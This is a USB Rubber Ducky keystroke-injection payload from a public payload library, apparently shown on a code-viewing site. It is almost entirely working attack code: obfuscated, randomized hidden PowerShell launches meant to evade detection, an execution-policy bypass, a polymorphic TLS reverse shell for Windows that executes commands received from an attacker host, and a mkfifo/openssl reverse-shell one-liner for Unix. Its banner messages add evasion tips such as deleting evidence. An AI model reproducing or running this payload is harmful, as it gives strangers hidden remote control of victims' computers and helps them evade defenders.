CoCalc -- payload.txt

GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/remote_access/ReverseDuckyUltimate/payload.txt
²⁹⁶⁴ views
1
REM       ReverseDuckyUltimate
2
REM       Version 1.3
3
REM       OS: Windows / Unix
4
REM       Author: 0i41E
5
REM       Requirement: DuckyScript 3.0, PayloadStudio v.1.3 minimum
6
REM       Morphing, Encrypted Reverse shell executed hidden in the background with custom identifier, the CAPSLOCK light at the end will indicate that the payload was executed.
7

8
REM Extension PASSIVE_WINDOWS_DETECT by Korben for best and fastest deployment with guard rails
9
EXTENSION PASSIVE_WINDOWS_DETECT
10
    REM VERSION 1.1
11
    REM AUTHOR: Korben
12

13
    REM_BLOCK DOCUMENTATION
14
        Windows fully passive OS Detection and passive Detect Ready
15
        Includes its own passive detect ready. 
16
        Does not require additional extensions.
17
    
18
        USAGE:
19
            Extension runs inline (here)
20
            Place at beginning of payload (besides ATTACKMODE) to act as dynamic
21
            boot delay
22
            $_OS will be set to WINDOWS or NOT_WINDOWS
23
            See end of payload for usage within payload
24
    END_REM
25

26
    REM CONFIGURATION:
27
    DEFINE #MAX_WAIT 150
28
    DEFINE #CHECK_INTERVAL 20
29
    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
30
    DEFINE #NOT_WINDOWS 7
31

32
    $_OS = #NOT_WINDOWS
33

34
    VAR $MAX_TRIES = #MAX_WAIT
35
    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
36
        DELAY #CHECK_INTERVAL
37
        $MAX_TRIES = ($MAX_TRIES - 1)
38
    END_WHILE
39
    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
40
        $_OS = WINDOWS
41
    END_IF
42

43
    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION
44
        IF ($_OS == WINDOWS) THEN
45
            STRING HELLO WINDOWS!
46
        ELSE
47
            STRING HELLO WORLD!
48
        END_IF
49
    END_REM
50
END_EXTENSION
51

52
REM Extension ROLLING_POWERSHELL_EXECUTION by 0i41E to obfuscate the start of Powershell
53
EXTENSION ROLLING_POWERSHELL_EXECUTION
54
    REM VERSION 1.0
55
    REM Author: 0i41E
56
    REM Credits: Korben, Daniel Bohannon, Grzegorz Tworek
57
    REM Requirements: PayloadStudio v.1.3 minimum
58
    REM Starts Powershell in uncommon ways to avoid basic detection
59
    REM Via randomisation, obfuscation and usage of less used parameters, this extension helps to evade basic detection.
60

61
    REM CONFIGURATION:
62
    REM Add ExecutionPolicy bypass
63
    DEFINE #EXECUTIONPOLICY FALSE
64
    DEFINE #DELAY 200
65

66
    $_RANDOM_MIN = 1
67
    $_RANDOM_MAX = 16
68
    VAR $RANDOM_PS = $_RANDOM_INT
69
    FUNCTION Rolling_Powershell_Execution()
70
        IF ($RANDOM_PS == 1) THEN
71
            STRING cmd.exe /c "p%PSModulePath:~21,1%weRshe%PUBLIC:~12,1%l.exe -noPr -Noni -wi Hid"
72
        ELSE IF ($RANDOM_PS == 2) THEN
73
            STRING cmd.exe /c "PowerShe%PUBLIC:~12,1%%PUBLIC:~12,1% /NoPr /NonI /w hi"
74
        ELSE IF ($RANDOM_PS == 3) THEN
75
            STRING cmd.exe /c "P%PSModulePath:~21,1%werShell /NoPr /NonI /w hi"
76
        ELSE IF ($RANDOM_PS == 4) THEN
77
            STRING cmd /c "FOR /F "delims=s\ t%PSModulePath:~25,1%kens=4" %a IN ('set^|findstr PSM')DO %a -nop -noni /w H"
78
        ELSE IF ($RANDOM_PS == 5) THEN
79
            STRING cmd /c "Powe%ALLUSERSPROFILE:~4,1%Shell -NoPr -NonI -w hi"
80
        ELSE IF ($RANDOM_PS == 6) THEN
81
            STRING cmd /c "p^Owe%ALLUSERSPROFILE:~7,1%Shell /NoPr /Nonin /wind hidD"
82
        ELSE IF ($RANDOM_PS == 7) THEN
83
            STRING cmd.exe /c "P%PSModulePath:~21,1%werShell -NoPr -NonI -w hi"
84
        ELSE IF ($RANDOM_PS == 8) THEN
85
            STRING powershell -NoPro -noninT -win h
86
        ELSE IF ($RANDOM_PS == 9) THEN
87
            STRING cmd /c "p^Owe%ALLUSERSPROFILE:~7,1%Shell -NoP -Noni -wind hidD"
88
        ELSE IF ($RANDOM_PS == 2) THEN
89
            STRING powershell.exe -NoP -nOni -W h
90
        ELSE IF ($RANDOM_PS == 10) THEN
91
            STRING cmd /c "FOR /F "delims=s\ tokens=4" %a IN ('set^|findstr PSM')DO %a -nop -noni -w H"
92
        ELSE IF ($RANDOM_PS == 11) THEN
93
            STRING powershell -nopr -noninT -W HiddEn
94
        ELSE IF ($RANDOM_PS == 12) THEN
95
            STRING cmd.exe /c "FOR /F "delims=s\ tokens=4" %a IN ('set^|findstr PSM')DO %a -noProF -nonin -win Hi"
96
        ELSE IF ($RANDOM_PS == 13) THEN
97
            STRING cmd /c "P%PSModulePath:~25,1%weRShell -noProf -NonIn -wi h"
98
        ELSE IF ($RANDOM_PS == 14) THEN
99
            STRING powershell -noproF -noni -W Hi
100
        ELSE IF ($RANDOM_PS == 15) THEN
101
            STRING cmd /c "Powe%ALLUSERSPROFILE:~4,1%Shell /NoPr /NonI /%PSModulePath:~17,1% hi"
102
        ELSE ($RANDOM_PS == 16) THEN
103
            STRING powershell.exe -noP -nOnI -windo H
104
        END_IF
105

106
        IF_DEFINED_TRUE #EXECUTIONPOLICY
107
            SPACE
108
            IF (($RANDOM_PS % 2) == 0) THEN
109
                STRING -ep ByPasS
110
            ELSE IF (($RANDOM_PS % 5) == 0) THEN
111
                STRING -exec bypass
112
            ELSE IF (($RANDOM_PS % 7) == 0) THEN
113
                STRING -exeC byPasS
114
            ELSE IF (($RANDOM_PS % 10) == 0) THEN
115
                STRING -exEcUtionPoL bYpaSs
116
            ELSE IF (($RANDOM_PS % 12) == 0) THEN
117
                STRING -exEcUtion bYPaSs
118
            ELSE
119
                STRING -eP BYPaSs
120
            END_IF
121
        END_IF_DEFINED
122
        ENTER
123
        DELAY #DELAY
124
    END_FUNCTION
125
    REM EXAMPLE USAGE AFTER EXTENSION
126
    REM DELAY 2000
127
    REM GUI r
128
    REM DELAY 2000
129
    REM Rolling_Powershell_Execution()
130
END_EXTENSION
131

132
EXTENSION DETECT_FINISHED
133
    REM VERSION 1.0
134
    REM AUTHOR: 0i41E
135

136
    REM_BLOCK DOCUMENTATION
137
        USAGE:
138
            Use the function Detect_Finished() to signal the finished execution of your payload.
139
    END_REM
140

141
    REM CONFIGURATION:
142
    DEFINE #PAUSE 150
143
    FUNCTION Detect_Finished()
144
        IF ($_CAPSLOCK_ON == FALSE)
145
            CAPSLOCK
146
            DELAY #PAUSE
147
            CAPSLOCK
148
            DELAY #PAUSE
149
            CAPSLOCK
150
            DELAY #PAUSE
151
            CAPSLOCK
152
            ATTACKMODE OFF
153
        ELSE IF
154
            CAPSLOCK
155
            DELAY #PAUSE
156
            CAPSLOCK
157
            DELAY #PAUSE
158
            CAPSLOCK
159
            ATTACKMODE OFF
160
        END_IF
161
    END_FUNCTION
162
END_EXTENSION
163

164
EXTENSION WINDOWS11_CONSOLE_DOWNGRADE
165
    REM_BLOCK
166
        Version: 1.0
167
        Author: 0i41E
168
        Description: Downgrade the default command prompt of Windows 11 to use Conhost again. 
169
        Afterwards PowerShell can be used with paramters like "-WindowStyle Hidden" again.
170
    END_REM
171

172
    REM CONFIGURATION:
173
    REM Used to wait until initial execution
174
    DEFINE #INPUT_WAIT 2000
175
    REM GUID for using the legacy console host for terminal execution
176
    DEFINE #CONHOST B23D10C0-E52E-411E-9D5B-C09FDF709C7D
177
 
178
    FUNCTION Console_Downgrade()
179
        DELAY #INPUT_WAIT
180
        GUI r
181
        DELAY 500
182
        STRINGLN powershell -NoP -NonI
183
        DELAY 1000
184
        STRING Set-ItemProperty -Path "HKCU:\Console\%%Startup" -Name DelegationConsole -Value "{#CONHOST}";
185
        STRINGLN Set-ItemProperty -Path "HKCU:\Console\%%Startup" -Name DelegationTerminal -Value "{#CONHOST}";exit
186
    END_FUNCTION
187

188
    REM_BLOCK
189
        EXAMPLE USAGE AFTER EXTENSION: Downgrade the command prompt via registry, then open a hidden PS instance and execute Calc.exe.
190
        Console_Downgrade()
191
        DELAY 2000
192
        GUI r
193
        DELAY 2000
194
        STRINGLN powershell -w h
195
        DELAY 1500
196
        STRINGLN calc.exe;exit
197
    END_REM
198
END_EXTENSION
199

200
REM Define the attackers IP, Port and Identifier
201
DEFINE #ADDRESS '0.0.0.0'
202
DEFINE #PORT 4444
203
DEFINE #IDENTIFIER Ducky
204
REM Automatic setup requires openssl!
205
DEFINE #SETUP FALSE
206
REM Turn on when target uses Windows 11 - Helps to hide Powershell
207
DEFINE #WINDOWS11 FALSE
208

209
REM Automatic setup and start listener - Requires openssl!
210
IF_DEFINED_TRUE #SETUP
211
    IF ($_OS == #NOT_WINDOWS) THEN    
212
        DELAY 1500
213
        STRINGLN echo "Setting up Infrastructre - Do not interact!"
214
        DELAY 1000
215
        STRINGLN openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes && echo "Setup complete! Starting listener on Port #PORT " && openssl s_server -quiet -key key.pem -cert cert.pem -port #PORT
216
    ELSE
217
        DELAY 1500        
218
        GUI r
219
        DELAY 1000
220
        STRINGLN notepad.exe
221
        DELAY 250
222
        STRING Setup requires an unix based machine with openssl installed!
223
    END_IF
224
ELSE_DEFINED
225
    IF ($_OS == WINDOWS) THEN
226
    
227
        REM Pseudo random variables for layer one polymorphism
228
        VAR $var_gibberish = $_RANDOM_NUMBER_KEYCODE
229
        VAR $var_gibberish2 = $_RANDOM_LETTER_KEYCODE 
230
        VAR $var_gibberish3 = $_RANDOM_LOWER_LETTER_KEYCODE 
231
        VAR $var_gibberish4 = $_RANDOM_LETTER_KEYCODE
232
        VAR $var_gibb3rish = $_RANDOM_NUMBER_KEYCODE
233
        VAR $var_gIbberish5 = $_RANDOM_UPPER_LETTER_KEYCODE
234
        VAR $var_gibberish6 = $_RANDOM_NUMBER_KEYCODE
235
        VAR $var_gibBerish1 = $_RANDOM_NUMBER_KEYCODE
236
        
237
        REM Layer two polymorphism
238
        VAR $RANDOM_LAYER = $_RANDOM_INT
239
        
240
        REM Polymorphism function
241
        FUNCTION Polymorphism()
242
            IF (($RANDOM_LAYER % 2) == 0) THEN
243
                STRING $
244
                INJECT_VAR $var_gibberish
245
                INJECT_VAR $var_gibberish2
246
                INJECT_VAR $var_gibberish3
247
                INJECT_VAR $var_gibberish3
248
                INJECT_VAR $var_gibberish4
249
                INJECT_VAR $var_gIbberish5
250
            ELSE IF (($RANDOM_LAYER % 6) == 0) THEN
251
                STRING $
252
                INJECT_VAR $var_gibberish
253
                INJECT_VAR $var_gibberish2
254
                INJECT_VAR $var_gibberish
255
                INJECT_VAR $var_gibberish3
256
                INJECT_VAR $var_gibberish4
257
                INJECT_VAR $var_gibberish
258
            ELSE
259
                STRING $
260
                INJECT_VAR $var_gibberish4
261
                INJECT_VAR $var_gibberish
262
                INJECT_VAR $var_gibberish2
263
                INJECT_VAR $var_gibberish3
264
                INJECT_VAR $var_gibberish
265
                INJECT_VAR $var_gibberish4
266
            END_IF
267
        END_FUNCTION
268
        
269
        REM Polymorphism function
270
        FUNCTION Polymorphism2()
271
            IF (($RANDOM_LAYER % 6) == 0) THEN
272
                STRING $
273
                INJECT_VAR $var_gibberish
274
                INJECT_VAR $var_gibberish2
275
                INJECT_VAR $var_gibberish3
276
                INJECT_VAR $var_gibberish3
277
                INJECT_VAR $var_gibberish4
278
                INJECT_VAR $var_gIbberish5
279
                INJECT_VAR $var_gIbberish5
280
            ELSE IF (($RANDOM_LAYER % 9) == 0) THEN
281
                STRING $
282
                INJECT_VAR $var_gibberish
283
                INJECT_VAR $var_gIbberish5
284
                INJECT_VAR $var_gibberish2
285
                INJECT_VAR $var_gibberish
286
                INJECT_VAR $var_gibberish3
287
                INJECT_VAR $var_gibberish4
288
                INJECT_VAR $var_gibberish
289
            ELSE
290
                STRING $
291
                INJECT_VAR $var_gibberish4
292
                INJECT_VAR $var_gibberish
293
                INJECT_VAR $var_gibberish2
294
                INJECT_VAR $var_gibberish3
295
                INJECT_VAR $var_gibberish6
296
                INJECT_VAR $var_gibberish4
297
                INJECT_VAR $var_gIbberish5
298
            END_IF
299
        END_FUNCTION
300
        
301
        REM Polymorphism function
302
        FUNCTION Polymorphism3()
303
            IF (($RANDOM_LAYER % 1) == 0) THEN
304
                STRING $
305
                INJECT_VAR $var_gibberish
306
                INJECT_VAR $var_gibberish2
307
                INJECT_VAR $var_gIbberish5
308
            ELSE IF (($RANDOM_LAYER % 8) == 0) THEN
309
                STRING $
310
                INJECT_VAR $var_gibberish
311
                INJECT_VAR $var_gIbberish5
312
                INJECT_VAR $var_gibberish
313
            ELSE
314
                STRING $
315
                INJECT_VAR $var_gibberish4
316
                INJECT_VAR $var_gibberish
317
                INJECT_VAR $var_gIbberish5
318
            END_IF
319
        END_FUNCTION
320
        
321
        REM Polymorphism function
322
        FUNCTION Polymorphism4()
323
            IF (($RANDOM_LAYER % 1) == 0) THEN
324
                STRING $
325
                INJECT_VAR $var_gIbberish5
326
                INJECT_VAR $var_gibberish
327
                INJECT_VAR $var_gibberish2
328
                INJECT_VAR $var_gibb3rish
329
            ELSE IF (($RANDOM_LAYER % 8) == 0) THEN
330
                STRING $
331
                INJECT_VAR $var_gibBerish1
332
                INJECT_VAR $var_gibberish
333
                INJECT_VAR $var_gIbberish5
334
                INJECT_VAR $var_gibberish
335
            ELSE
336
                STRING $
337
                INJECT_VAR $var_gibberish6
338
                INJECT_VAR $var_gibberish4
339
                INJECT_VAR $var_gibberish
340
                INJECT_VAR $var_gIbberish5
341
            END_IF
342
        END_FUNCTION
343
        
344
        REM Connection Message
345
        FUNCTION Quack_Slogan()
346
            IF (($RANDOM_LAYER % 2) == 0) THEN
347
                STRING "[!] Quack you $env:USERNAME/$env:COMPUTERNAME! `n[?] Opsec Tip: Use environment variables.`n`n"
348
            ELSE IF (($RANDOM_LAYER % 3) == 0) THEN
349
                STRING "[!] $env:USERNAME/$env:COMPUTERNAME got found a flash drive... `n[?] Considere converting IPs to decimal (e.g. 127.0.0.1 = 2130706433)`n`n"
350
            ELSE IF (($RANDOM_LAYER % 4) == 0) THEN
351
                STRING "[!] $env:USERNAME/$env:COMPUTERNAME compromised by #IDENTIFIER `n[+] Ducks > D0lphins!`n`n"
352
            ELSE IF (($RANDOM_LAYER % 6) == 0) THEN
353
                STRING "[!] Quack Attack on $env:USERNAME/$env:COMPUTERNAME `n[+] Sometimes it is better to wait...Be patient!`n`n"
354
            ELSE IF (($RANDOM_LAYER % 8) == 0) THEN
355
                STRING "[!] Established remote access on $env:USERNAME/$env:COMPUTERNAME `n[?] Watch out for powershell -v 2!`n`n"
356
            ELSE IF (($RANDOM_LAYER % 9) == 0) THEN
357
                STRING "[!] $env:USERNAME/$env:COMPUTERNAME messed with the Duck `n[?] Remember to delete evidence.`n`n"
358
            ELSE
359
                STRING "[!] $env:USERNAME/$env:COMPUTERNAME says Quack! `n[+]...and then he waddled away...`n`n"
360
            END_IF
361
        END_FUNCTION
362
        
363
        REM Downgrades the Console, if Windows 11 is set to TRUE
364
        IF_DEFINED_TRUE #WINDOWS11
365
            Console_Downgrade()
366
            DELAY 2000
367
        END_IF_DEFINED
368
        GUI r
369
        DELAY 500
370
        Rolling_Powershell_Execution()
371
        DELAY 1000
372
        Polymorphism()    
373
        STRING =[Text.Encoding]::UTF8.GetBytes(
374
        Quack_Slogan()
375
        STRING );
376
        Polymorphism2()
377
        REM Section were Address & Port get reflected
378
        STRING =New-Object Net.Sockets.TcpClient( #ADDRESS , #PORT );
379
        STRING $s=
380
        Polymorphism2()
381
        STRING .GetStream();
382
        STRING $sSL=New-Object System.Net.Security.SslStream($s,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]));
383
        STRING $sSL.AuthenticateAsClient('madeby.0i41E', $null, "Tls12", $false);
384
        Polymorphism3()
385
        STRING =new-object System.IO.StreamWriter($sSL);
386
        STRING $sSL.write(
387
        Polymorphism()
388
        STRING ,0,
389
        Polymorphism()
390
        STRING .Length);
391
        Polymorphism3()
392
        STRING .Write('
393
        REM Identifier
394
        STRING #IDENTIFIER
395
        STRING @PS '+(&('g'+'l'))+'> ');
396
        Polymorphism3()
397
        STRING .flush();[byte[]]
398
        Polymorphism4() 
399
        STRING = 0..65535|%{0};while(($i=$sSL.Read(
400
        Polymorphism4()
401
        STRING , 0, 
402
        Polymorphism4()
403
        STRING .Length)) -ne 0){$D=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(
404
        Polymorphism4()
405
        STRING ,0, $i);
406
        STRING $Y=(iex $D | Out-String ) 2>&1;$X=$Y + '
407
        REM Identifier
408
        STRING #IDENTIFIER
409
        STRING @PS ' + (Get-LoCatIon).Path + '> ';
410
        STRING $Z=([text.encoding]::UTF8).GetBytes($X);$sSL.Write($Z,0,$Z.Length);
411
        STRING $sSL.Flush()};exit
412
        DELAY 250
413
        ENTER
414
        REM Indicator of successful execution
415
        Detect_Finished()
416
    ELSE
417
        REM Executing reverse shell when inserted into non-windows box
418
        REM Non-ideal solution for opening terminal (But should work for most unix distros)
419
        DELAY 2000
420
        INJECT_MOD COMMAND
421
        DELAY 2000
422
        STRING terminal
423
        DELAY 500
424
        ENTER
425
        DELAY 1000
426
        STRINGLN which screen >/dev/null && which openssl >/dev/null && screen -md sh -c 'mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect #ADDRESS:#PORT > /tmp/s; rm /tmp/s'
427
        DELAY 1000
428
        STRINGLN exit
429
        REM Indicator of successful execution
430
        Detect_Finished()
431
    END_IF
432
END_IF_DEFINED
433

434
Product

Resources

Company
